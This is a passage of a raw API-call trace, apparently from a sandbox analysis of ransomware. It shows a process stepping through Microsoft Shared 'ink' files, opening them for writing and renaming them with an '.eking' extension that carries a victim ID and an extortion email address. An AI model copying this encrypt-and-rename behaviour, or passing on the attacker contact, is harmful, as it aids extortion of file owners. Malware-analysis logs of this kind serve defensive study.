(hEvent=0xe0) returned 1 [0268.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.851] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2520) returned 1 [0268.851] CloseHandle (hObject=0x100) returned 1 [0268.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0268.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0268.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.852] SetEvent (hEvent=0xe0) returned 1 [0268.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.854] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.854] CloseHandle (hObject=0x100) returned 1 [0268.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0268.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0268.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.855] SetEvent (hEvent=0xe0) returned 1 [0268.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.856] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.856] CloseHandle (hObject=0x100) returned 1 [0268.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0268.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0268.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.857] SetEvent (hEvent=0xe0) returned 1 [0268.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.858] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1367552) returned 1 [0268.858] CloseHandle (hObject=0x100) returned 1 [0268.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0268.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0268.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.859] SetEvent (hEvent=0xe0) returned 1 [0268.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.861] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.861] CloseHandle (hObject=0x100) returned 1 [0268.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0268.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0268.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.862] SetEvent (hEvent=0xe0) returned 1 [0268.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.918] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.918] CloseHandle (hObject=0x100) returned 1 [0268.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0268.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0268.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.918] SetEvent (hEvent=0xe0) returned 1 [0268.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.920] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.920] CloseHandle (hObject=0x100) returned 1 [0268.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0268.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0268.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.920] SetEvent (hEvent=0xe0) returned 1 [0268.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.922] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1704448) returned 1 [0268.922] CloseHandle (hObject=0x100) returned 1 [0268.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0268.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.922] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0 [0268.922] SetEvent (hEvent=0xe0) returned 1 [0268.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.924] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=507904) returned 1 [0268.924] CloseHandle (hObject=0x100) returned 1 [0268.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0268.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0268.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.924] SetEvent (hEvent=0xe0) returned 1 [0268.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.926] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1547264) returned 1 [0268.926] CloseHandle (hObject=0x100) returned 1 [0268.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0268.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20 [0268.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.926] SetEvent (hEvent=0xe0) returned 1 [0268.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.929] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=6331392) returned 1 [0268.929] CloseHandle (hObject=0x100) returned 1 [0268.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0268.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0 [0268.930] SetEvent (hEvent=0xe0) returned 1 [0268.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.931] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=49664) returned 1 [0268.931] CloseHandle (hObject=0x100) returned 1 [0268.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0268.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0268.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.931] SetEvent (hEvent=0xe0) returned 1 [0268.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.933] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1071616) returned 1 [0268.933] CloseHandle (hObject=0x100) returned 1 [0268.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0268.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0268.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.933] SetEvent (hEvent=0xe0) returned 1 [0268.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.934] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.935] CloseHandle (hObject=0x100) returned 1 [0268.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0268.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0268.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.938] SetEvent (hEvent=0xe0) returned 1 [0268.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.940] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.940] CloseHandle (hObject=0x100) returned 1 [0268.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0268.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0268.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.941] SetEvent (hEvent=0xe0) returned 1 [0268.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.942] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.942] CloseHandle (hObject=0x100) returned 1 [0268.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0268.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" 